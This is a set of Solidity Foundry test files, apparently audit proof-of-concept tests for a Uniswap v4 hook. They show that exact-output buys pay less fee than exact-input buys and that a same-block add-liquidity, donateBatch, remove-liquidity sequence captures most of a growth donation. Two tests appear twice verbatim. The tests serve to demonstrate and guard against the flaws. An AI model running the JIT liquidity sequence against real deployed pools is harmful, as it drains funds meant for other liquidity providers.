// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SIMDTEST} from "src/SIMDTEST.sol";
import {SIMDTESTHook} from "src/SIMDTESTHook.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract MintableERC20 is ERC20 {
    constructor() ERC20("Identity", "IMD") {}
    function mint(address to, uint256 amount) external { _mint(to, amount); }
}

contract ProofRouter is IUnlockCallback {
    IPoolManager public immutable manager;
    constructor(IPoolManager m) { manager = m; }

    function swap(PoolKey memory key, SwapParams memory params) external returns (BalanceDelta) {
        return abi.decode(manager.unlock(abi.encode(uint8(0), msg.sender, key, abi.encode(params))), (BalanceDelta));
    }

    function liquidity(PoolKey memory key, ModifyLiquidityParams memory params) external returns (BalanceDelta) {
        return abi.decode(manager.unlock(abi.encode(uint8(1), msg.sender, key, abi.encode(params))), (BalanceDelta));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager));
        (uint8 op, address payer, PoolKey memory key, bytes memory args) = abi.decode(data, (uint8, address, PoolKey, bytes));
        BalanceDelta delta;
        if (op == 1) (delta,) = manager.modifyLiquidity(key, abi.decode(args, (ModifyLiquidityParams)), "");
        else delta = manager.swap(key, abi.decode(args, (SwapParams)), "");
        _settle(key.currency0, delta.amount0(), payer);
        _settle(key.currency1, delta.amount1(), payer);
        return abi.encode(delta);
    }

    function _settle(Currency c, int128 amount, address payer) private {
        if (amount < 0) {
            uint256 owed = uint256(-int256(amount));
            manager.sync(c);
            IERC20(Currency.unwrap(c)).transferFrom(payer, address(manager), owed);
            manager.settle();
        } else if (amount > 0) {
            manager.take(c, payer, uint256(int256(amount)));
        }
    }
}

/// The hook's fee is a fixed percentage of the IMD leg of a trade. The percentage must not depend
/// on whether the trader specifies the input or the output: for the same tokens bought from the same
/// pool state in the same block, the hook must take the same IMD fee. On the current code an
/// exact-output buy pays 21.1975 IMD where the exact-input buy of the same tokens pays 30.5 IMD.
contract ProofFeeBasisTest is Test {
    address constant PAIR = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;
    uint160 constant PRICE = 79228162514264337593543950336;
    uint160 constant FLAGS = (1 << 13) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2);
    uint256 constant LIQ = 1_000_000 ether;

    IPoolManager manager;
    SIMDTEST token;
    SIMDTESTHook hook;
    ProofRouter router;
    PoolKey key;
    uint256 opened;

    function setUp() public {
        vm.etch(PAIR, type(MintableERC20).runtimeCode);
        MintableERC20(PAIR).mint(address(this), 1e30);
        manager = new PoolManager(address(this));
        token = new SIMDTEST();
        bytes memory code = abi.encodePacked(type(SIMDTESTHook).creationCode, abi.encode(manager, address(token)));
        bytes32 h = keccak256(code);
        bytes32 salt;
        for (uint256 i;; ++i) {
            salt = bytes32(i);
            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, h)))));
            if (uint160(p) & ((1 << 14) - 1) == FLAGS) break;
        }
        hook = new SIMDTESTHook{salt: salt}(manager, address(token));
        key = hook.poolKey();
        manager.initialize(key, PRICE);
        opened = block.number;
        router = new ProofRouter(manager);
        token.approve(address(router), type(uint256).max);
        IERC20(PAIR).approve(address(router), type(uint256).max);
        router.liquidity(key, ModifyLiquidityParams(-600, 600, int256(LIQ), bytes32(0)));
    }

    function _params(bool buy, bool exactInput, uint256 amount) internal view returns (SwapParams memory) {
        bool zeroForOne = buy == hook.pairedIs0();
        return SwapParams(
            zeroForOne,
            exactInput ? -int256(amount) : int256(amount),
            zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
        );
    }

    function _tok(BalanceDelta d) internal view returns (int256) {
        return hook.pairedIs0() ? int256(d.amount1()) : int256(d.amount0());
    }

    function _pair(BalanceDelta d) internal view returns (int256) {
        return hook.pairedIs0() ? int256(d.amount0()) : int256(d.amount1());
    }

    function test_sameTokensSameBlockSameHookFeeRegardlessOfSwapMode() public {
        vm.roll(opened); // opening block: 30% anti-snipe + 0.5% growth
        uint256 snap = vm.snapshotState();

        BalanceDelta ei = router.swap(key, _params(true, true, 100 ether));
        uint256 tokens = uint256(_tok(ei));
        uint256 feeExactInput = hook.pending() + hook.antiSnipePending();
        uint256 paidExactInput = uint256(-_pair(ei));
        vm.revertToState(snap);

        BalanceDelta eo = router.swap(key, _params(true, false, tokens));
        uint256 feeExactOutput = hook.pending() + hook.antiSnipePending();
        uint256 paidExactOutput = uint256(-_pair(eo));
        assertEq(uint256(_tok(eo)), tokens, "same tokens bought");

        // Same trade, same state: the hook must charge the same fee and the buyer must pay the same.
        assertApproxEqRel(feeExactOutput, feeExactInput, 1e15, "hook fee depends on swap mode");
        assertApproxEqRel(paidExactOutput, paidExactInput, 1e15, "gross IMD cost depends on swap mode");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SIMDTEST} from "src/SIMDTEST.sol";
import {SIMDTESTHook} from "src/SIMDTESTHook.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract MintableERC20 is ERC20 {
    constructor() ERC20("Identity", "IMD") {}
    function mint(address to, uint256 amount) external { _mint(to, amount); }
}

contract ProofRouter is IUnlockCallback {
    IPoolManager public immutable manager;
    constructor(IPoolManager m) { manager = m; }

    function swap(PoolKey memory key, SwapParams memory params) external returns (BalanceDelta) {
        return abi.decode(manager.unlock(abi.encode(uint8(0), msg.sender, key, abi.encode(params))), (BalanceDelta));
    }

    function liquidity(PoolKey memory key, ModifyLiquidityParams memory params) external returns (BalanceDelta) {
        return abi.decode(manager.unlock(abi.encode(uint8(1), msg.sender, key, abi.encode(params))), (BalanceDelta));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager));
        (uint8 op, address payer, PoolKey memory key, bytes memory args) = abi.decode(data, (uint8, address, PoolKey, bytes));
        BalanceDelta delta;
        if (op == 1) (delta,) = manager.modifyLiquidity(key, abi.decode(args, (ModifyLiquidityParams)), "");
        else delta = manager.swap(key, abi.decode(args, (SwapParams)), "");
        _settle(key.currency0, delta.amount0(), payer);
        _settle(key.currency1, delta.amount1(), payer);
        return abi.encode(delta);
    }

    function _settle(Currency c, int128 amount, address payer) private {
        if (amount < 0) {
            uint256 owed = uint256(-int256(amount));
            manager.sync(c);
            IERC20(Currency.unwrap(c)).transferFrom(payer, address(manager), owed);
            manager.settle();
        } else if (amount > 0) {
            manager.take(c, payer, uint256(int256(amount)));
        }
    }
}

/// An unprivileged caller who held no liquidity before the batch must not be able to walk away
/// with the growth reserve by adding liquidity, calling donateBatch and removing it in one block.
/// On the current code the attacker nets 99.9% of the donation at a cost of 1 wei of SIMDTEST.
contract ProofJitTest is Test {
    address constant PAIR = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;
    uint160 constant PRICE = 79228162514264337593543950336;
    uint160 constant FLAGS = (1 << 13) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2);
    uint256 constant LIQ = 1_000_000 ether;

    IPoolManager manager;
    SIMDTEST token;
    SIMDTESTHook hook;
    ProofRouter router;
    PoolKey key;
    uint256 opened;
    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.etch(PAIR, type(MintableERC20).runtimeCode);
        MintableERC20(PAIR).mint(address(this), 1e30);
        manager = new PoolManager(address(this));
        token = new SIMDTEST();
        bytes memory code = abi.encodePacked(type(SIMDTESTHook).creationCode, abi.encode(manager, address(token)));
        bytes32 h = keccak256(code);
        bytes32 salt;
        for (uint256 i;; ++i) {
            salt = bytes32(i);
            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, h)))));
            if (uint160(p) & ((1 << 14) - 1) == FLAGS) break;
        }
        hook = new SIMDTESTHook{salt: salt}(manager, address(token));
        key = hook.poolKey();
        manager.initialize(key, PRICE);
        opened = block.number;
        router = new ProofRouter(manager);
        token.approve(address(router), type(uint256).max);
        IERC20(PAIR).approve(address(router), type(uint256).max);
        // The launch seed position.
        router.liquidity(key, ModifyLiquidityParams(-600, 600, int256(LIQ), bytes32(0)));
    }

    function _params(bool buy, bool exactInput, uint256 amount) internal view returns (SwapParams memory) {
        bool zeroForOne = buy == hook.pairedIs0();
        return SwapParams(
            zeroForOne,
            exactInput ? -int256(amount) : int256(amount),
            zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
        );
    }

    function test_jitLiquidityCannotCaptureTheDonation() public {
        vm.roll(opened + 10); // past the anti-snipe window: only the growth fee accrues
        router.swap(key, _params(true, true, 10_000 ether));
        router.swap(key, _params(false, true, 10_000 ether));
        uint256 donation = hook.pending() / 2;
        assertGt(donation, 0);
        vm.warp(hook.lastBatch() + 3600);

        token.transfer(attacker, 1e25);
        IERC20(PAIR).transfer(attacker, 1e25);
        vm.startPrank(attacker);
        token.approve(address(router), type(uint256).max);
        IERC20(PAIR).approve(address(router), type(uint256).max);
        uint256 pairBefore = IERC20(PAIR).balanceOf(attacker);
        // Every step is tolerant of a revert so that a fix which blocks any of them still passes.
        ModifyLiquidityParams memory add = ModifyLiquidityParams(-60, 60, int256(LIQ * 1000), bytes32(0));
        ModifyLiquidityParams memory remove = ModifyLiquidityParams(-60, 60, -int256(LIQ * 1000), bytes32(0));
        address(router).call(abi.encodeCall(ProofRouter.liquidity, (key, add)));
        address(hook).call(abi.encodeCall(SIMDTESTHook.donateBatch, ()));
        address(router).call(abi.encodeCall(ProofRouter.liquidity, (key, remove)));
        vm.stopPrank();

        int256 attackerGain = int256(IERC20(PAIR).balanceOf(attacker)) - int256(pairBefore);
        assertLe(attackerGain, int256(donation / 2), "a same-block JIT LP captured most of the growth donation");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SIMDTEST} from "src/SIMDTEST.sol";
import {SIMDTESTHook} from "src/SIMDTESTHook.sol";
import {HookFlags} from "src/HookFlags.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract PairToken is ERC20 {
    constructor() ERC20("Identity", "IMD") {}
}

contract Router is IUnlockCallback {
    IPoolManager immutable manager;
    constructor(IPoolManager m) { manager = m; }

    function swap(PoolKey memory key, SwapParams memory p) external returns (BalanceDelta) {
        return abi.decode(manager.unlock(abi.encode(true, msg.sender, key, abi.encode(p))), (BalanceDelta));
    }

    function liquidity(PoolKey memory key, ModifyLiquidityParams memory p) external returns (BalanceDelta) {
        return abi.decode(manager.unlock(abi.encode(false, msg.sender, key, abi.encode(p))), (BalanceDelta));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager));
        (bool isSwap, address payer, PoolKey memory key, bytes memory args) = abi.decode(data, (bool, address, PoolKey, bytes));
        BalanceDelta d;
        if (isSwap) d = manager.swap(key, abi.decode(args, (SwapParams)), "");
        else (d,) = manager.modifyLiquidity(key, abi.decode(args, (ModifyLiquidityParams)), "");
        _settle(key.currency0, d.amount0(), payer);
        _settle(key.currency1, d.amount1(), payer);
        return abi.encode(d);
    }

    function _settle(Currency c, int128 amount, address payer) private {
        if (amount < 0) {
            manager.sync(c);
            IERC20(Currency.unwrap(c)).transferFrom(payer, address(manager), uint256(-int256(amount)));
            manager.settle();
        } else if (amount > 0) {
            manager.take(c, payer, uint256(int256(amount)));
        }
    }
}

/// @notice The anti-snipe + growth fee must be the same fraction of the trader's gross IMD regardless of
/// whether the trader specifies the input or the output. Today an exact-output buy of the same token
/// quantity pays 30% less hook fee than the exact-input buy that produced it.
contract ProofModeAsymmetryTest is Test {
    address constant PAIR = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;
    uint160 constant PRICE = 79228162514264337593543950336;

    PoolManager manager;
    SIMDTEST token;
    SIMDTESTHook hook;
    Router router;
    PoolKey key;

    function setUp() public {
        vm.etch(PAIR, address(new PairToken()).code);
        deal(PAIR, address(this), 1e30);
        manager = new PoolManager(address(this));
        // Pair must be currency0 for this proof; redeploy the token until it sorts after PAIR.
        do { token = new SIMDTEST(); } while (address(token) < PAIR);
        bytes memory code = abi.encodePacked(type(SIMDTESTHook).creationCode, abi.encode(manager, address(token)));
        bytes32 salt;
        for (uint256 i; i < 500_000; ++i) {
            address predicted = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), keccak256(code))))));
            if (HookFlags.matches(predicted, HookFlags.SIMDTEST)) { salt = bytes32(i); break; }
        }
        hook = new SIMDTESTHook{salt: salt}(manager, address(token));
        key = hook.poolKey();
        manager.initialize(key, PRICE);
        router = new Router(manager);
        token.approve(address(router), type(uint256).max);
        IERC20(PAIR).approve(address(router), type(uint256).max);
        router.liquidity(key, ModifyLiquidityParams(-600, 600, int256(1_000_000 ether), bytes32(0)));
    }

    function test_SameBuyPaysSameFeeInBothSwapModes() public {
        // Opening block: 30% anti-snipe + 0.5% growth.
        uint256 snap = vm.snapshotState();
        uint256 before = IERC20(PAIR).balanceOf(address(this));
        BalanceDelta d = router.swap(key, SwapParams(true, -int256(100 ether), TickMath.MIN_SQRT_PRICE + 1));
        uint256 tokensOut = uint256(int256(d.amount1()));
        uint256 spentIn = before - IERC20(PAIR).balanceOf(address(this));
        uint256 feeIn = hook.pending() + hook.antiSnipePending();
        assertEq(spentIn, 100 ether);
        assertEq(feeIn, 30.5 ether);
        vm.revertToState(snap);

        before = IERC20(PAIR).balanceOf(address(this));
        router.swap(key, SwapParams(true, int256(tokensOut), TickMath.MIN_SQRT_PRICE + 1));
        uint256 spentOut = before - IERC20(PAIR).balanceOf(address(this));
        uint256 feeOut = hook.pending() + hook.antiSnipePending();

        // Same tokens bought in the same block: the hook fee should be the same (up to rounding).
        // Actual: exact-output pays 21.1975 IMD instead of 30.5 IMD and spends 90.6975 instead of 100.
        assertApproxEqRel(feeOut, feeIn, 1e15, "exact-output buy pays a different hook fee for the same trade");
        assertApproxEqRel(spentOut, spentIn, 1e15, "exact-output buyer gets the same tokens for less IMD");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SIMDTEST} from "src/SIMDTEST.sol";
import {SIMDTESTHook} from "src/SIMDTESTHook.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract MintableERC20 is ERC20 {
    constructor() ERC20("Identity", "IMD") {}
    function mint(address to, uint256 amount) external { _mint(to, amount); }
}

contract ProofRouter is IUnlockCallback {
    IPoolManager public immutable manager;
    constructor(IPoolManager m) { manager = m; }

    function swap(PoolKey memory key, SwapParams memory params) external returns (BalanceDelta) {
        return abi.decode(manager.unlock(abi.encode(uint8(0), msg.sender, key, abi.encode(params))), (BalanceDelta));
    }

    function liquidity(PoolKey memory key, ModifyLiquidityParams memory params) external returns (BalanceDelta) {
        return abi.decode(manager.unlock(abi.encode(uint8(1), msg.sender, key, abi.encode(params))), (BalanceDelta));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager));
        (uint8 op, address payer, PoolKey memory key, bytes memory args) = abi.decode(data, (uint8, address, PoolKey, bytes));
        BalanceDelta delta;
        if (op == 1) (delta,) = manager.modifyLiquidity(key, abi.decode(args, (ModifyLiquidityParams)), "");
        else delta = manager.swap(key, abi.decode(args, (SwapParams)), "");
        _settle(key.currency0, delta.amount0(), payer);
        _settle(key.currency1, delta.amount1(), payer);
        return abi.encode(delta);
    }

    function _settle(Currency c, int128 amount, address payer) private {
        if (amount < 0) {
            uint256 owed = uint256(-int256(amount));
            manager.sync(c);
            IERC20(Currency.unwrap(c)).transferFrom(payer, address(manager), owed);
            manager.settle();
        } else if (amount > 0) {
            manager.take(c, payer, uint256(int256(amount)));
        }
    }
}

/// The hook's fee is a fixed percentage of the IMD leg of a trade. The percentage must not depend
/// on whether the trader specifies the input or the output: for the same tokens bought from the same
/// pool state in the same block, the hook must take the same IMD fee. On the current code an
/// exact-output buy pays 21.1975 IMD where the exact-input buy of the same tokens pays 30.5 IMD.
contract ProofFeeBasisTest is Test {
    address constant PAIR = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;
    uint160 constant PRICE = 79228162514264337593543950336;
    uint160 constant FLAGS = (1 << 13) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2);
    uint256 constant LIQ = 1_000_000 ether;

    IPoolManager manager;
    SIMDTEST token;
    SIMDTESTHook hook;
    ProofRouter router;
    PoolKey key;
    uint256 opened;

    function setUp() public {
        vm.etch(PAIR, type(MintableERC20).runtimeCode);
        MintableERC20(PAIR).mint(address(this), 1e30);
        manager = new PoolManager(address(this));
        token = new SIMDTEST();
        bytes memory code = abi.encodePacked(type(SIMDTESTHook).creationCode, abi.encode(manager, address(token)));
        bytes32 h = keccak256(code);
        bytes32 salt;
        for (uint256 i;; ++i) {
            salt = bytes32(i);
            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, h)))));
            if (uint160(p) & ((1 << 14) - 1) == FLAGS) break;
        }
        hook = new SIMDTESTHook{salt: salt}(manager, address(token));
        key = hook.poolKey();
        manager.initialize(key, PRICE);
        opened = block.number;
        router = new ProofRouter(manager);
        token.approve(address(router), type(uint256).max);
        IERC20(PAIR).approve(address(router), type(uint256).max);
        router.liquidity(key, ModifyLiquidityParams(-600, 600, int256(LIQ), bytes32(0)));
    }

    function _params(bool buy, bool exactInput, uint256 amount) internal view returns (SwapParams memory) {
        bool zeroForOne = buy == hook.pairedIs0();
        return SwapParams(
            zeroForOne,
            exactInput ? -int256(amount) : int256(amount),
            zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
        );
    }

    function _tok(BalanceDelta d) internal view returns (int256) {
        return hook.pairedIs0() ? int256(d.amount1()) : int256(d.amount0());
    }

    function _pair(BalanceDelta d) internal view returns (int256) {
        return hook.pairedIs0() ? int256(d.amount0()) : int256(d.amount1());
    }

    function test_sameTokensSameBlockSameHookFeeRegardlessOfSwapMode() public {
        vm.roll(opened); // opening block: 30% anti-snipe + 0.5% growth
        uint256 snap = vm.snapshotState();

        BalanceDelta ei = router.swap(key, _params(true, true, 100 ether));
        uint256 tokens = uint256(_tok(ei));
        uint256 feeExactInput = hook.pending() + hook.antiSnipePending();
        uint256 paidExactInput = uint256(-_pair(ei));
        vm.revertToState(snap);

        BalanceDelta eo = router.swap(key, _params(true, false, tokens));
        uint256 feeExactOutput = hook.pending() + hook.antiSnipePending();
        uint256 paidExactOutput = uint256(-_pair(eo));
        assertEq(uint256(_tok(eo)), tokens, "same tokens bought");

        // Same trade, same state: the hook must charge the same fee and the buyer must pay the same.
        assertApproxEqRel(feeExactOutput, feeExactInput, 1e15, "hook fee depends on swap mode");
        assertApproxEqRel(paidExactOutput, paidExactInput, 1e15, "gross IMD cost depends on swap mode");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SIMDTEST} from "src/SIMDTEST.sol";
import {SIMDTESTHook} from "src/SIMDTESTHook.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract MintableERC20 is ERC20 {
    constructor() ERC20("Identity", "IMD") {}
    function mint(address to, uint256 amount) external { _mint(to, amount); }
}

contract ProofRouter is IUnlockCallback {
    IPoolManager public immutable manager;
    constructor(IPoolManager m) { manager = m; }

    function swap(PoolKey memory key, SwapParams memory params) external returns (BalanceDelta) {
        return abi.decode(manager.unlock(abi.encode(uint8(0), msg.sender, key, abi.encode(params))), (BalanceDelta));
    }

    function liquidity(PoolKey memory key, ModifyLiquidityParams memory params) external returns (BalanceDelta) {
        return abi.decode(manager.unlock(abi.encode(uint8(1), msg.sender, key, abi.encode(params))), (BalanceDelta));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager));
        (uint8 op, address payer, PoolKey memory key, bytes memory args) = abi.decode(data, (uint8, address, PoolKey, bytes));
        BalanceDelta delta;
        if (op == 1) (delta,) = manager.modifyLiquidity(key, abi.decode(args, (ModifyLiquidityParams)), "");
        else delta = manager.swap(key, abi.decode(args, (SwapParams)), "");
        _settle(key.currency0, delta.amount0(), payer);
        _settle(key.currency1, delta.amount1(), payer);
        return abi.encode(delta);
    }

    function _settle(Currency c, int128 amount, address payer) private {
        if (amount < 0) {
            uint256 owed = uint256(-int256(amount));
            manager.sync(c);
            IERC20(Currency.unwrap(c)).transferFrom(payer, address(manager), owed);
            manager.settle();
        } else if (amount > 0) {
            manager.take(c, payer, uint256(int256(amount)));
        }
    }
}

/// An unprivileged caller who held no liquidity before the batch must not be able to walk away
/// with the growth reserve by adding liquidity, calling donateBatch and removing it in one block.
/// On the current code the attacker nets 99.9% of the donation at a cost of 1 wei of SIMDTEST.
contract ProofJitTest is Test {
    address constant PAIR = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;
    uint160 constant PRICE = 79228162514264337593543950336;
    uint160 constant FLAGS = (1 << 13) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2);
    uint256 constant LIQ = 1_000_000 ether;

    IPoolManager manager;
    SIMDTEST token;
    SIMDTESTHook hook;
    ProofRouter router;
    PoolKey key;
    uint256 opened;
    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.etch(PAIR, type(MintableERC20).runtimeCode);
        MintableERC20(PAIR).mint(address(this), 1e30);
        manager = new PoolManager(address(this));
        token = new SIMDTEST();
        bytes memory code = abi.encodePacked(type(SIMDTESTHook).creationCode, abi.encode(manager, address(token)));
        bytes32 h = keccak256(code);
        bytes32 salt;
        for (uint256 i;; ++i) {
            salt = bytes32(i);
            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, h)))));
            if (uint160(p) & ((1 << 14) - 1) == FLAGS) break;
        }
        hook = new SIMDTESTHook{salt: salt}(manager, address(token));
        key = hook.poolKey();
        manager.initialize(key, PRICE);
        opened = block.number;
        router = new ProofRouter(manager);
        token.approve(address(router), type(uint256).max);
        IERC20(PAIR).approve(address(router), type(uint256).max);
        // The launch seed position.
        router.liquidity(key, ModifyLiquidityParams(-600, 600, int256(LIQ), bytes32(0)));
    }

    function _params(bool buy, bool exactInput, uint256 amount) internal view returns (SwapParams memory) {
        bool zeroForOne = buy == hook.pairedIs0();
        return SwapParams(
            zeroForOne,
            exactInput ? -int256(amount) : int256(amount),
            zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
        );
    }

    function test_jitLiquidityCannotCaptureTheDonation() public {
        vm.roll(opened + 10); // past the anti-snipe window: only the growth fee accrues
        router.swap(key, _params(true, true, 10_000 ether));
        router.swap(key, _params(false, true, 10_000 ether));
        uint256 donation = hook.pending() / 2;
        assertGt(donation, 0);
        vm.warp(hook.lastBatch() + 3600);

        token.transfer(attacker, 1e25);
        IERC20(PAIR).transfer(attacker, 1e25);
        vm.startPrank(attacker);
        token.approve(address(router), type(uint256).max);
        IERC20(PAIR).approve(address(router), type(uint256).max);
        uint256 pairBefore = IERC20(PAIR).balanceOf(attacker);
        // Every step is tolerant of a revert so that a fix which blocks any of them still passes.
        ModifyLiquidityParams memory add = ModifyLiquidityParams(-60, 60, int256(LIQ * 1000), bytes32(0));
        ModifyLiquidityParams memory remove = ModifyLiquidityParams(-60, 60, -int256(LIQ * 1000), bytes32(0));
        address(router).call(abi.encodeCall(ProofRouter.liquidity, (key, add)));
        address(hook).call(abi.encodeCall(SIMDTESTHook.donateBatch, ()));
        address(router).call(abi.encodeCall(ProofRouter.liquidity, (key, remove)));
        vm.stopPrank();

        int256 attackerGain = int256(IERC20(PAIR).balanceOf(attacker)) - int256(pairBefore);
        assertLe(attackerGain, int256(donation / 2), "a same-block JIT LP captured most of the growth donation");
    }
}